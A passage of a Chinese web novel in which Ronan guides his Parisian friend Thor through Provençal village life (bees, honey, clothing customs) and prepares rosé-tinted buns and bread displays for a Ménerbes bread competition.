“你懂蜜蜂吗,就去掺合?”歌迪亚把女作家宝莱特拉出农夫人群。 宝莱特把歌迪亚推走,再次挤了进去: “这重要吗?我在试着了解农夫们争论的逻辑,这是宝贵的学习机会。” “那既然这样,我也加入了,我支持皮埃尔!” “我觉得就是农药的问题,那些蜜蜂显然是被影响了。” “怎么可能啊,农药又不是最近才发明的,那些蜜蜂之前也不采蜜吗?” “来来来,你别进去了,咱两先‘讨论讨论’。” 人群外,托尔捂着嘴笑个不停。 他最喜欢看普罗旺斯人‘吵架’了,去年就看个不停。 皮埃尔说不过那蜂农,最后气的把烟一扔: “带我去你的蜂箱看看,我看看它们是怎么罢工的!” “去就去,现在就去。”那蜂农拔腿就走,气势汹汹。 其余的这帮人,想都没想就跟了上去。 “我们去摇蜜吧?那似乎也挺有意思?”歌迪亚看着宝莱特说。 “那我今天中午不吃草莓酱了,弄一点新鲜蜂蜜沾面包吃。”宝莱特也改了主意。 “画什么不是画啊,今天不画草莓了,画蜜蜂去。”薇薇安扛起板子就走。 罗南想要问托尔的意愿。 这家伙一直嚷嚷着要采新鲜草莓做糖奶油煎饼。 但一扭头,发现人没了。 再一扭头,看到人都冲到皮埃尔旁边了。 托尔兴奋的对罗南招手: “快跟上啊。” 走在人群末尾的罗南没忍住笑出声来。 托尔的性格太适合普罗旺斯了。 十五分钟后。 皮埃尔等几个农夫和蜂农据理力争农药是不是对蜜蜂有影响的话题,吵得脸红脖子粗。 在他们十几米外的地方,薇薇安正闭上一只眼睛,拿着铅笔比来比去,确定她要临摹的东西,一副‘与世无争’的样子。 薇薇安身边,歌迪亚和宝莱特在野花丛里跑来跑去,像拍偶像剧似的,还不停抱怨为什么没有带来个相机。 ‘偶像剧’的背景画面中,穿着防护服的罗南和佐伊,正在将蜂蜜和蜂箱分离。 而在罗南和佐伊的身后,同样穿着防护服的托尔正小心翼翼的观察着那些罢工的蜜蜂。 实话实话,托尔很怕蜜蜂。 不过当他发现一只蜜蜂停留在他裸露的皮肤上,却没有咬他时还是经不住诱惑‘迈’出了第一步、第二步 只能说,新事物带来的吸引力可以盖过他对蜜蜂的恐惧了。 “它们真的好像是‘抗议’的群众啊。”认真观察了好一会后,托尔又一次笑出牛的叫声。 虽然今天上午没有采摘到他心心念念的草莓。 但托尔记住了这片野花丛的好闻香气。 记住了皮埃尔说蜜蜂是‘普罗旺斯唯一准时上班居民’的比喻。 记住了落在自己裸露在外脚踝上许久,但并没有蛰他的那个黄黑相间小家伙的样子。 “我大概知道什么是‘差不多’原则了。”回去的路上,托尔笑着对罗南说。 “那确实很难解释,对不对?只有亲自经历过才能明白。”罗南笑着耸肩,“因为‘差不多’所涉猎的东西不只是时间,还有空间甚至是内容。” 托尔语气欢快的说: “普罗旺斯真的很神奇,同样的事情如果发生在巴黎,我会认为那是在浪费时间,但在普罗旺斯发生我觉得是一种享受,甚至有种‘生活就该是这个样子’的陌生感。” 罗南笑着扬了一下手里的蜂蜜瓶子: “在普罗旺斯,人们用一生的时间去学习如何‘浪费时间’,而且大部分人学习的都不错。” 没有了草莓,就没有糖奶油煎饼,不过托尔开心的接过那瓶蜂蜜: “我们今天中午吃点和蜂蜜有关的东西吧。” 这么新鲜的蜂蜜当然要立即品尝它的味道啊。 他笑着敲了敲那瓶子: “来普罗旺斯后,我的饮食习惯莫名其妙的变了,蔬菜吃的多了,水果也吃的多了,但是在巴黎我不是这个样子。” 罗南露出灿烂的笑容: “这就是普罗旺斯的另一重‘魔力’了,别急,后面几天我来带你慢慢体会,在这里,即使没有肉也能吃的非常丰盛。” 第436章 复杂的普罗旺斯 在普罗旺斯盛传着这样一个笑话——如果想要买牛肉,口袋里最好装上支票本。 普罗旺斯缺乏草场,牛肉的价格极其昂贵。 对于习惯‘现采现摘’的普罗旺斯人而言,那些从上阿尔卑斯省坐汽车来的牛肉还不够新鲜。 相比较下来,这里的人更加倾向于吃羊肉。 再加上原产鸡、野兔和捕猎季的各种野味普罗旺斯美食家的胃袋里应该不缺油水。 但普罗旺斯人从来没有过过天天吃肉的日子,跟肉价的关系不大,更多的是他们不想.因为身边有数不胜数的更加有吸引力的食材。 比如来自地中海的鱼和海鲜、几百种奶酪,最重要的是那些每一季大自然的馈赠——全年不间断的新鲜水果、蔬菜和顿顿离不开、恨不得当酒喝的特级橄榄油。 这就导致同样是美食家,普罗旺斯美食家拥有巴黎美食家所不具备的‘苗条’体型。 “真是神奇,我吃下了这么多东西,却完全没有负罪感。”吃完午饭,托尔直接向后倒了下去,躺在罗南家后院的舒服沙发里,拍着肚子说,“这是我在巴黎绝对不敢做的事情,我是指吃完马上躺下去,可能因为我吃的太健康了。” 中午,罗南和托尔做了一顿蜂蜜大餐。 不仅食材健康,烹饪方式也健康。 他们用蜂蜜、芥末和橄榄油做了一大盆蔬菜沙拉,主菜是蜂蜜柠檬汁烤鸡翅,主食是用蜂蜜和橄榄油烤制的胡萝卜、南瓜和红薯切块,喝的是冰镇过的蜂蜜花草茶。 毫不夸张的讲,托尔觉得自己现在已经落在花蕊中了。 罗南也放下餐具,靠到柔软的沙发里,懒洋洋的说: “这顿饭不只吃的健康,还吃的便宜。” 托尔呵呵笑着说: “电视里讲过,普罗旺斯的物价是巴黎的二分之一。” “不止二分之一。”天气热了,佐伊给自己做了一个蜂蜜燕麦水果碗,里面是大块大块的卡瓦永甜瓜、杏子和樱桃等当季最新鲜的水果,“除了肉类和松露,其他的蔬菜和水果几乎都可以用几法郎买到1公斤。” “所有水果和蔬菜都这么便宜?”托尔原地坐了起来,又来精神了,“你是说这个甜瓜、今天吃的樱桃、昨晚鲜嫩的芦笋和各种口味的腌渍橄榄都是几法郎/公斤?” 去年复活节,托尔爱上了卡瓦永甜瓜。 今天他又爱上了普罗旺斯的桃子、杏、樱桃和芦笋。 罗南点点头: “这还只是平时买的价格,如果在集市上,价格可能会更加便宜。” 佐伊给罗南补充: “当然了,如果你是本地人,说不定还能再给一些‘优惠’,也可能会免费给你一些试吃。” 托尔兴奋的拍了几下手,‘聪明的小男孩’再次上线: “我特地带了一身‘普罗旺斯’式服装,明天我会穿着那身衣服去梅纳村集市。” 说着说着,他咯咯咯的笑了起来: “只要我不说话,他们绝对听不出我是游客,嗯.这两天我学会了几句普罗旺斯方言,那就更真了。” 罗南给托尔安排的都是集体活动,托尔耳濡目染,跟着学到了不少‘地道’的句式和比喻。 经过这两天愉快的游玩,又有本地朋友罗南的细心讲解,托尔认为他已经非常了解普罗旺斯了! 不等罗南和佐伊给反应,托尔迫不及待的站了起来,走向室内: “我现在就去换上。” 托尔的身影消失后,佐伊看了一眼罗南,憋着笑问: “不会是格子衬衣吧?” 罗南给佐伊和自己各倒了一杯冰镇蜂蜜水果茶: “嗯,我猜还有牛仔裤和靴子。” 格子衬衣、牛仔裤和靴子.这是法国人对普罗旺斯农夫的‘刻板’印象。 就像提到西部牛仔,一定要带着牛仔帽一样。 为了在普罗旺斯玩的更加安心和舒服,一到旅行季,就有许多外地游客特地打扮成这个样子。 但这身打扮在普罗旺斯本地人看来. “我很少见有人穿红白相间的格子衬衣,还有你的衬衣太新了。”罗南很直白的说,“坦白讲,你穿成这样一看就是外乡人,距离普罗旺斯至少有500公里的那种。” 托尔看了看罗南身上的衬衣,又看了看自己的,完全看不出差别: “差别很大吗?你的衬衣只比我多了一个褐色啊。” 罗南耸了耸肩: “你想的太简单了,我的朋友,普罗旺斯人对格子衬衣的要求,足以让巴黎时装周的潮流策划人抓狂。” “比如?”托尔不理解的问。 罗南用过来人的口吻说: “我们的格子衬衣必须看起来像被太阳晒褪了色似的,色调介于‘薰衣草田的尘土’和‘被遗忘在露天咖啡馆三年的菜单’之间的色系,严禁任何鲜艳的颜色,就比如你身上穿的这件,那红色太扎眼了,而且材质越像麻袋越好,尺寸一定要比实际大一到两号,下摆半掖进裤腰,仿佛刚和一头倔驴搏斗过并且取得了胜利你把格子衬衣穿的这么合身,如果皮埃尔在场,一定会点评你是‘刚被老板炒掉的银行职员’。” 托尔露出了若有所思的神情: “为什么这个时候不遵循‘差不多’原则了?” 土生土长的普罗旺斯本地人佐伊替罗南解释: “两千年前,当地的高卢人即使在收割葡萄时也要确保束腰外衣的褶皱垂得优雅,祖先告诉我们,可以活得懒散,但绝不能穿得随意。” 托尔又低头看向自己的牛仔裤: “那这条裤子?” 罗南和佐伊异口同声的说: “求求你了,快把它脱下来吧。” “你们普罗旺斯人太复杂了。”托尔瓮声瓮气的嘀咕。 该‘仔细’的时候‘差不多’就好。 可以‘差不多’的时候又有那么多规矩这地方太复杂了啊。 罗南非常理解托尔此刻的感受。 因为他也是这样过来的,天知道因为服装他遭到过农夫们多少句‘嘲讽’。 他笑着安慰托尔: “我无法给你解释清楚所有的‘条条框框’,但请放心,我一定会帮助你顺利的‘融入’普罗旺斯。” “可我没其他衣服了。”托尔失落的说。 “没关系,我给你提供衣服。”罗南回答道。 佐伊在一旁小声提醒罗南: “你的衣服托尔无法穿进去。” 巴黎美食家可比普罗旺斯美食家‘壮’多了,他至少比罗南重50公斤。 罗南捂着嘴说: “别担心,弗雷迪去年帮我收葡萄时穿的衣服没有带走,我妈妈把它们洗出来后一直放在我的柜子里。” 普罗旺斯偶尔也会出几个‘异类’,就比如同样贪吃的弗雷迪。 “请记住,我们不是只有格子衬衣、牛仔裤和靴子一种打扮,你现在身上的这身更加像本地人了。”罗南看着镜子里的托尔说,“而且是那种即使张口了,也不会让人看出端倪的那种。” 托尔看着镜子里穿着旧衬衫和短裤的自己,不确定的问: “这样就可以了?” “当然。”罗南后退了几步,“不信你出去转转?” 托尔听话的就要离开房间,罗南又把他叫住,指着他的鞋说: “把袜子脱了,普罗旺斯农夫的脚从5月到9月基本处于‘半野生状态’——时刻遵循,能不穿袜子就不穿袜子的原则,这是核心。” 托尔看向自己的双脚。 上帝,普罗旺斯真是一片‘复杂’的土地! 罗南下午要去餐厅里给明天的面包大赛做最后的准备。 他给托尔安排了一个‘玩伴’特奥,让他陪托尔去卢尔马兰参观一下之前没有来及游玩过的项目和景点。 但特奥没有参与过之前他们的几个‘集体活动’,害羞的托尔拒绝了罗南的好意,说要自己一个人出去转转。 托尔是成年人了,罗南当然要尊重他的意愿。 在约定好晚上的吃饭时间后,两个人在商业街门口分别。 坦白讲,托尔换上新衣服后很没有底气.这身打扮实在让他难以适应。 托尔无法理解佐伊口中‘不能穿的随意’的具体含义,因为在他看来,自己现在穿的太随意了。 随意的就像是在家里做饭做到一半,突然发现没有大蒜了,慌慌张张跑出来去买菜,着急的连袜子都顾不上穿的家伙一个样子。 穿着如此‘随意’还是不要四处溜达了。 他的想法是,找一个风景不错的地方,坐上一会,就像第一天来卢尔马兰那样,以一个游客的身份,安安静静、认认真真的观察和欣赏这座村子。 因为就像罗南说的那样——卢尔马兰实在太漂亮了,处处都是风景,可以让他观察和发掘的细节还有许许多多,而这也是他所感兴趣的事。 不过找地方观察卢尔马兰之前,需要买点好吃的。 孤零零的坐着多没意思啊 根本不用分辨方向,只是顺着香气,托尔便一路闻到了卢尔马兰的那条摆出了许多小吃摊位的街道。 只是一天没来,这里卖的食物种类居然更多了。 他清晰记得,昨天书店门口的饮品摊只卖橄榄叶柠檬茶,他还喝了一杯,但今天牌子上居然多了一个冰镇甜瓜汁,而且是用他最喜欢的卡瓦永甜瓜做的。 饮品摊位前排队购物的游客不少,4月底白天的气温已经非常高了,炎炎夏日谁能拒绝一杯冰镇的饮料呢。 托尔在一旁看清了牌子上的菜单和价格,就要乖乖的去后面排队,但那个老板注意到了托尔,尤其是注意到了托尔的穿着和光着的脚后,主动问道: “新搬来的?” 托尔没有第一时间给出反应,不确定老板问的是不是他。 卡利桑又问了一遍: “你也是最近搬来卢尔马兰的新居民吗?” 从今年2月开始,卢尔马兰搬来了许多新的面孔,每隔几天村民们就会发现——卢尔马兰大家庭又壮大了一分。 不等托尔给到回复,卡利桑友好的倒了一杯冰镇甜瓜汁给他: “我叫卡利松,就住这家书店的楼上。” 明天去梅纳村的队伍将会格外壮大。 有一部分人要留在集市上摆摊位,还有一部分人要跟着罗南去面包大赛,那里将会有一个更加重要的展示机会。 明天是面包大赛开幕的日子,餐厅第一天亮相,罗南自然要全程在那边盯着。 但明天梅纳村集市的人流量也同样巨大,因为已经处于正式的复活节假期中了。 从今天卢尔马兰的游客流量判断,明天的集市摊位前必定会排起长长的大队。 罗南以前也把摊位交给过妇女们经营,但那是在旅游淡季。 这次在人流量极大的复活节假期中,罗南不亲自去盯着还真有些不放心。 提出这个疑虑后,罗天海主动说道: “那明天我去摊位那边盯着吧。” 莉娅摇头: “参赛的目的是给餐厅引流,肯定有不少介绍餐厅的机会,你对中餐更加熟悉,你不能离开,还是我去吧,明天上午我去集市盯着。” 罗天海也摇头: “但明天带去参赛的小龙虾面包和肉松面包等你更加熟悉,餐厅需要介绍,带去的面包也需要介绍,你也不能离开啊。” 餐厅里最重要的三巨头都有重要任务,谁留谁走是个难题。 罗天海和莉亚争论了好一会,就当他们要通过抛硬币来决定人选时,来帮忙的维埃里给出了第三个提议: “我去盯集市吧,你们都去面包大赛,虽然我饭做的不好,但去集市帮了那么久的帮,处理突发事件的能力还是有的,集市那里不会出什么问题。” 维埃里从去年春天就开始陆陆续续去集市给罗南帮忙了,经验丰富。 论能力和经验,他一点都不输罗天海和莉亚。 可让一个孩子在这么重要的时刻顶上去罗天海和莉亚半天没有说话,似乎拿不定主意。 但罗南相信维埃里可以做好这件事: “那就这样决定了,明天维埃里带着人去集市,咱们三个去面包大赛。” 他拍了拍维埃里的肩膀: “明天人不会少,你再去盘一盘要带的东西,尤其是粉红酒,多带上一些。” 罗南的肯定和肯定给了维埃里巨大的动力,他立即行动起来: “好,我现在就去。” 人力分配完毕,下一步是准备明天带过去的东西。 面包大赛的现场没有制作场地,他们要把带去展示的各种面包在前一天制作好,当天带过去。 “我去做面包了。”莉娅也行动了起来。 “我和罗南帮你一起。”罗天海挽起袖子。 “你们去吧,我还要再研究点新的东西。”罗南并没有移动脚步。 “你还要研究什么?”罗天海不解的问。 罗南笑着说: “我在考虑是不是可以做一些包子带过去。” “包子?”罗天海眼睛瞪的巨大,“包子也算面包吗?” 罗南耸肩: “没有说蒸的东西不行吧,而且只是试试,我少做一点。 “可是肉包子凉了就不好吃了。”罗天海又提出了一个疑虑。 相比较下来,还是凉着可以吃的面包更加适合这个主题啊。 “我再想想。”罗南思考着说,“你们先去做面包吧,这里我一个人可以。” 说话间,托尔拿着许多零食和水果跑了进来: “罗南,你太厉害了,许多摊主都给了我试吃,他们对我特别热情!” “我就说你一定可以融入的!”罗南笑着对托尔说,“你先出去等一等,一会就开饭了,如果无聊,就去和宝莱特他们玩一会,嗯,就是这两天一直和我们一起玩的那几个人,我还要研究一些明天带去的面包。” 这两天,托尔在卢尔马兰遇到了许多热心的村民.这也把他的性格改变了。 他主动问罗南: “我会做饭,而且做的还不赖.需要我帮你一起吗?” 罗南开心的抱了他一下: “那太棒了,我现在正需要人手呢!” 第437章 面包大赛?猎奇大赛! 面包大赛的成绩是次要的。 重要的是可以通过这个大型活动给餐厅带来一些知名度,并且有机会普及粉红酒。 罗南参观过去年的比赛盛况,明白在众多强大对手中脱颖而出的难度。 只是法棍一种传统面包,每个店铺都能做出特色和不同。 千奇百怪的口味面包也数不胜数。 于是他想要带去一点没有任何‘竞品’的包子,去狠狠的吸引一波关注度。 他不信普罗旺斯还有其他参赛方能拿出这种‘白白胖胖’的食物。 不过就像罗天海所说的那样——肉包子凉了就不好吃了。 “那就不给游客试吃了,只把它们摆出来吗?”托尔放弃了出去继续游玩的计划,留下来做了罗南的副手。 罗南对比赛看的很淡,他只在意流量,但托尔的心情可不一样。 那可是正式的美食比赛呀,听说还有评审呢! 罗南拿了一个编织的小篮子,带着托尔去选食材: “不让试吃不好吧,你想想,如果你看到了一个没见过的食物,老板只让看,不让尝,你会是什么心情?是不是会在内心里把老板的家人问候一遍呢?我们可以做几种素馅的,再做几种甜食的,明天少带一点去试试路。” 托尔也拿起罗南给他事先准备好的篮子,随着他一起出: “没错,普罗旺斯的蔬菜和水果非常好吃,比肉还好吃。” 托尔深有体会。 肉食动物的他在普罗旺斯吃菜和水果吃的可带劲了。 不过想到什么,托尔突然疑惑的问罗南: “但那是不是就无法搭配粉红酒了?” 在这两天的接触中,罗南无意间讲过几次参加面包大赛的目的,托尔知道除了想要给餐厅引流外,他还想要给游客们普及普罗旺斯特色粉红酒。 粉红酒适合搭配海鲜、肉类和香料较重的地中海味道。 不太适合清淡的蔬菜和水果。 他们今天中午的那顿蜂蜜大餐喝的就是别的。 托尔相信罗南做出来的包子味道一定很不错,但是不是无法满足另一个目的啊? 罗南颇为为难的‘嗯’了一下: “是无法兼顾了,普及粉红酒的任务只能交给那些面包了。” 虽然没有信心通过‘口味’在面包大赛中脱颖而出,但罗南还是下了许多功夫。 香辣小龙虾面包、海鲜蟹肉面包、肉松面包.为了给粉红酒找完美搭档,罗南在找到了不少适合菜谱。 事实上,许多包子搭配粉红酒吃也很不错。 不过还是由于那个‘包子吃热不吃冷’的原则无法在现场制作的他们只能退而求其次的做些别的了。 小帮手托尔发出了一阵‘嗯嗯嗯’的思考声,之后他用探讨的语气问罗南: “如果.如果我们在面粉里掺入粉红酒,是不是也算是一种宣传呢?” 罗南停下脚步,思考了一秒钟后,马上兴奋的回应: “你真是天才啊托尔,这个想法我之前怎么没想到!” 有了系统给的‘菜谱’之后,罗南习惯性的想要做什么就去找一找。 菜谱里没有的,他便也打消了念头。 但托尔很好的提醒了罗南——谁说有了菜谱,就可以不动脑子了呢? 就像问题通过一个技能无法满足时,可以再去其他技能那里找找办法一样.不能一条路走到黑啊。 制作面包和包子时,都可以在面粉中加入一定剂量的粉红酒。 粉红酒完全可以替代红曲粉或草莓粉,渲染出温柔的粉色,说不定还能带来一些柑橘、草莓和坚果的风味。 无论是蒸制还是烘烤,酒精都会挥发掉,仅保留风味,小孩也能食用。 罗南思考了一下,粉红酒留在面团中的原始风味,与流沙包、豆沙包的搭配应该都不错。 托尔憨厚的笑了起来,肩膀一抖一抖的: “我平时喜欢做饭。” “看出来了,你是一位经验丰富的优秀厨师。”罗南给足了托尔情绪价值,“你来的太时候了,有了你,我对这次面包大赛更加有信心了,我们下午一起做几个实验怎么样?” 粉红酒中的酒精会抑制酵母活性,罗南要测试几次,看看加入的最佳剂量是多少。 “好啊好啊。”托尔点头如‘捣蒜’。 朋友的鼓励让托尔干劲十足。 他很称职的担任起了副手的作用,和罗南一起认真挑选食材,做馅料,还不断的给菜谱做调整。 加入了粉红酒的面包,色泽更加诱人。 加入了粉红酒的包子,也从白白胖胖变成了粉粉嫩嫩,让人看上一眼就忍不住想要把它塞入嘴里。 第一锅成功的包子出炉,托尔一口气连吃了四个。 “好看也好吃!” 托尔已经忘记,他今晚原本的计划是做热量爆炸的糖奶油煎饼.在‘健康’的道路上一去不复返了。 “如果是肉馅儿的是不是更好吃了?”托尔嘴巴鼓鼓的问。 罗南颇为满意的把粉嫩版流沙包塞进嘴里,重新系上了围裙: “我再做点叉烧包。” 托尔两只手各拿着一个包子,‘囫囵吞枣’的说: “肉包子放凉了,不就不好吃了吗?会不会影响明天游客对我们的评价?” 罗南笑着说: “不是给游客吃的,是做给你吃的,你还能吃下吗?” 托尔把手里的包子全部塞进嘴里,双手的五指伸开: “我还能吃20个!” “太好吃了!” “肉包子种类可多了,等明天回来我再给你做点别的。” “罗南,你明天一定会成功的,你做的包子和面包都太好吃了。” “是我们,这些是我们一起做的,如果成功也有你的一份哦。” “明天我们的摊位一定会让大家喜欢的!!” 梅纳村是吕贝隆地区最著名、人流量最大的集市,没有之一。 如果游客来普罗旺斯只能选择一个集市参加,一定会把目的地定在这里。 依托着集市巨大的人流量和‘金三角’的显赫名声,每年的4-9月,梅纳村都会举办大大小小许多热闹的活动。 而每年4月底的面包大赛,预示着梅纳村热闹的一年正式开始了。 今天和罗南等人一起来梅纳村的人还有佐伊和她的小姐妹们。 佐伊是来给罗南加油,歌迪亚她们几个是打着‘陪佐伊加油’旗号来的。 不过到了梅纳村之后她们马上跑的无影无踪。 这些人都是‘差不多’原则的信徒发现更好玩的就改变计划呗。 这个时期,梅纳村车位非常难找,即使出发的时间比较早,还是只能停在半山腰的位置。 一下车,佐伊颇有感触的说: “我记得去年就是从这个时候开始,集市人流量越来越大.这个状态一直持续到了9月末的样子。” 去年这个时候,佐伊每周和罗南一起来这里摆摊,想想那段生活仿佛像做梦一样。 罗南抱着一箱子面包跟在她身后,用明显开玩笑的语气说: “你现在已经是普罗旺斯的著名艺术家了,而我还要每周来出摊,哎,这就是命运啊。” 虽然罗南强烈反对,但佐伊还是倔强的帮他托住了箱子的一角: “你再来一阵子就把摊位交给其他人吧,如果你放心的话。” 维埃里搬着一口大锅从他们身边经过,罗南笑着努嘴对佐伊说: “问题是没有像维埃里那么值得信任的人啊。” 妇女们勤劳、能干,做菜的手艺也炉火纯青了,但处理突发事件的能力差了一些。 罗南打算等她们在今年的旅行季上锻炼锻炼再放手。 梅纳村和卢尔马兰集市上的摊位对罗南来说无比重要,那是两个可以源源不断给餐厅和斯特斯加打广告的重要‘横幅’,马虎不得。 维埃里身后,伊莎贝尔不服气的问罗南: “我比维埃里差?” 罗南笑着说: “不不不,你当然很厉害,但你还有其他重要的事情要做。” 未来罗天海和莉亚等人要去普罗旺斯各地频繁参加美食活动,罗南想把聪明又机灵的伊莎贝尔提到餐厅里更加重要的位置上,她绝对有这个能力。 在维埃里和伊莎贝尔身后,拿了足有两个人负重的托尔笑的合不拢嘴: “哇,这里太热闹了。” 去年托尔哪里也没去,一直在卢尔马兰待着。 这是他第一次来到‘繁华’的梅纳村。 虽然卢尔马兰今年已经热闹了许多,但是和金三角比还是差了很大的一截。 像面包大赛这种普罗旺斯地方形式的大型活动,卢尔马兰一个都没有,而梅纳村和其他金三角,每年要举办十几甚至是几十次。 只是这些活动,就可以保证他们全年不缺游客了。 罗南决定忙完复活节的假期要去政府找布兰科和昆西聊聊。 卢尔马兰是不是也能申办几个普罗旺斯的大型活动呢? 面包大赛的比赛场地在梅纳村政府门口的广场,还没走到那里,就可以闻到焦香四溢的小麦粉味道。 罗南的展示区域被安排在广场中心位置,走过去要路过许多其他的摊位。 工作人员带罗南等人去往展示区,路上托尔的嘴巴就没有合上过。 他见到有摊主像魔术师一样,展示他那可以‘站立不弯’的神奇法棍,法棍上的裂纹就像是干旱的土地似的,那些面包和桌子撞击,发出让人记忆犹新的回响。 还有的摊主化身为了白袍教皇,挥舞着他们手里的‘权杖’,横截面里的气孔比葡萄园里的葡萄藤还均匀。 托尔还看到了像陨石外形一样的黑麦面包、如牧羊人靴子外形的奶酪面包、像金币一样刷着油光的小面包,如普罗旺斯地图一样斑驳足有两三米长的披萨面包等等。 他甚至看到了一个专门制作‘大块头’的面包摊。 这位主打猎奇风的摊主见托尔一直盯着那些‘模特’看,友好的递给了托尔一块试吃。 “应该味道不错吧?”罗南问,“我去年来过,参赛的选手都很强。” 托尔舔了舔嘴唇,似乎在回味: “像枕头一样柔软。” 罗南笑着说: “把东西放下后,你去转转吧,不要浪费你身上的这身衣服啊。” 托尔对罗南给他的穿搭‘爱不释手’,今早罗南劝他换一身他死活不同意。 既然都穿成这样了,别浪费啊。 而且罗南很清楚,面包大赛对爱凑热闹的托尔来说简直是天堂。 怎料托尔声音雄厚的说: “但他们做的没有你好。” 他踮起脚尖,迫不及待的问: “我们的摊子在哪里?我们快点把面包摆出来吧!” 罗南很快来到他的展示区。 说是展示区域,其实就是两张长桌,头顶有标有赞助商logo语的遮阳伞。 这个面积说大不大,说小不小,就看摊主怎么安排了。 面包种类繁多的摊主会把面包铺满长桌,给游客营造进入了面包海洋的幸福感。 面包种类不多的摊主,会在桌子上摆点别的,例如鲜花、工艺品、果酱或者黄油等等.丰富其视觉体验。 那位工作人员知道罗南‘身世显赫’,是普罗旺斯非常著名的艺术家,好心提醒: “您最好布置一下,没有准备东西也不要紧,集市里卖什么的都有。” “好的,谢谢。”罗南感激的说,“不过我们自己带装饰物了。” 那位工作人员全程跟罗南几个人一起,还帮着搬了东西,所以知道罗南带来的几个箱子里只有面包。 装饰物在哪呢? 正思索间,他看到始终跟在罗南身边的那个大家伙居然拿出了一个像花瓶一样的面包。 “我们插成什么样子的呢?”托尔问罗南。 罗南耸肩: “我对插花没有什么造诣。” 托尔苦闷的说: “我也不会,那怎么办?我只会吃它们。” 佐伊走到托尔身边: “我来吧,你来给我帮忙。” “好的!”托尔听话的从他们的箱子里拿出了一朵一朵又一朵的‘面包花’。 那位工作人员的脚步一步也不肯移动,眼睁睁的看着桌子上出现了两个由面包组成的花瓶。 “上帝,果然是艺术家。”那工作人员知道自己不能再‘吃瓜’了。 他挤开身边同样在围观的众多游客,跑去了梅纳村的一个地方。 必须向略伦特先生汇报这个突发情况——今年的比赛也许多出了一匹黑马! 第438章 八离世家 普罗旺斯举办的每一项美食活动都是略伦特‘左右逢源’的大舞台。 一到这种日子,他便会陪在各种贵宾身边,实际放到比赛上的精力几乎没有。 别看人的注意力在别的地方,但伟大的略伦特先生又能清楚的知道比赛现场和周边发生的一切消息。 非常懂得收买人心的他,会嘱咐工作人员每过一段时间就向他汇报一次情况。 而后他会将这些一手消息精心‘雕琢’,幽默的讲给那些嘉宾或者赞助商听。 无论你是来玩的,还是来工作的,亦或者路过的略伦特先生总能勾出你感兴趣的东西。 说不定这次活动还没开始,下一次活动就‘成型’了。 “阿利坦,我让人给你拿一个‘健美先生’面包来尝尝怎么样?什么,你还不知道?这次的参赛者中有一位健身狂热爱好者,他的摊位上摆出来的全部是大块头的‘肌肉’!” “戈尔艾登先生,听说你在考虑赞助5月份的吉普赛朝圣节?那很危险啊,你知道的,前年的活动上出现过许多不好的事情,不如这样,我来给你组织一场美食宗教派对,这次来参加面包大赛的选手中有一个做斋月面包很出色的,我带你去看看怎么样?说不定他们还可以供应其他品种。” “嗨,桑松女士,新婚快乐!是什么风把你从马赛吹到了梅纳村,快让我猜猜,一定是老船王馋地道的普罗旺斯面包了对不对?需不需要我给你推荐几家不错的摊主?” 当戴着黑色礼帽的桑松女士到场,略伦特立即放下其他嘉宾,把全部的精力都投入到这位传奇人物的身上。 梅纳村的面包大赛已经举办了十几届,马赛老船王每年都会给予一定的资助,只要有时间还会亲临。 不过和桑松女士结婚后,老船王的身体情况每况愈下今年来出席的只有桑松女士一个人。 “那太棒了,艾斯为他今年不能亲自到场难过了好几天呢,他特意嘱咐我来看一看今年的面包又出什么新花样了,回去讲给他听。”桑松女士优雅的前倾身体,“有劳了。” “这是我的荣幸!”论略特绅士的做了一个‘请’的动作。 “稍等一下略伦特先生!”一位工作人员附在他的耳边说道,“那位叫罗南的先生将他们的展示区布置的非常有特色,巴拉巴拉.我认为您可以关注一下那里。” “知道了。”这位工作人员讲了至少1、2分钟,略伦特快速点了一下头,之后歉意的对桑松女士说,“让您久等了,我们先去看看上一届比赛的冠军吧,今年他们又来了,并且依然是冠军强有力的竞争者。” “好的,请您带路吧。”桑松女士礼貌的点头。 老船王的实力和影响力与那些教皇新堡的酒商不在一个量级上。 带桑松女士逛面包大赛的同时,略伦特一直不忘给她讲述未来其他美食活动的计划。 “人们都说面包大赛是梅纳村热闹的开始,但面包大赛也同样预示着普罗旺斯美食活动的开始,每年来参加面包大赛时,我的心情都会无比的激动.因为在这之后精彩纷呈的普罗旺斯美食活动将会一直持续到9月末,这太值得期待了!”略伦特站在一个展示区前激情澎湃的说着。 “这就是去年的冠军了?”桑松女士问。 “没错,去年就是他们获胜。”略伦特拿起一块羊乳酪面包放到嘴里,闭着眼睛满足的咀嚼起来,“马赛鱼汤奥林匹克大赛和老船王多么的匹配啊,事实上我早在六年前就向艾斯先生推荐过了,不知道他考虑的怎么样了?” “他说暂时不考虑了。”桑松女士在摊位上挑挑拣拣起来,“艾斯说去年冠军的裸面包味道不错。” “再试试这款千层酥,吃的时候一定让你香得‘咬掉’舌头。”略伦特睁开眼睛,拿了几款别的给桑松女士,“艾斯先生是‘老顽童’的性格,如果7月份天气好可以去看看洛特克举办的大蒜辫编织大赛或者在瓦朗索勒举办的薰衣草蜂蜜吐司迭迭乐,这两项活动都非常有趣,他一定会喜欢的。” “我回去问问他。”桑松女士挑选了几款面包,“这里好吃的就这么多了吧?” 略伦特笑呵呵的说: “您已经挑选走了这里全部的特色。” 桑松女士摸着胸口说: “那真是太好了,希望艾斯能喜欢它们,你知道的,艾斯最喜欢吃的就是面包了。” 桑松女士始终一副拒人于千里之外的样子,笑容都没有一个,略伦特清楚,想从她和老船王身上‘薅’出钱不是那么容易的。 从这个展示区出来,略伦特将桑松女士带去下一个‘种子选手’摊位。 但桑松女士停下了脚步: “谢谢你,略伦特,我想我已经拿够给艾斯带回去的礼物了,他离不开我,我需要赶回去了。” 略伦特的嘴角不自觉的抽搐了好几下。 真是‘伉俪情深’啊! 就带一个摊位的东西回家应付,演都不演了? 略伦特绅士的亲吻了一下桑松女士的手背: “好的,请替我向艾斯先生送去问候。” 桑松从出现到离开只用了不到5分钟,其中有3分钟还是在路途上耗费的,因为去年的冠军在广场较为深入的位置上。 不过着急回家的桑松女士回去花了6、7分钟还没走到尽头: “突然多了很多游客?” 略伦特看了一下人群最密集的区域,‘添油加醋’的给桑松女士解释: “您可能不知道,我们这次比赛还吸引来了一位艺术家呢,而且是非常著名的艺术家,他把展示区布置的非常有艺术特色,用面包做的花瓶您见过吗?用面包做的鲜花您见过吗?哈哈,我看到的时候吓了一跳,喏,他的摊位就在那里,我们回去的路上,我带您过去看看?” 每多一分钟接触的时间,略伦特就可以多一分钟努力的时间。 桑松女士听到‘艺术家’这个单词,不屑的说: “这种‘不务正业’的家伙就别叫艺术家了。” 艺术家做面包? 别开玩笑了. 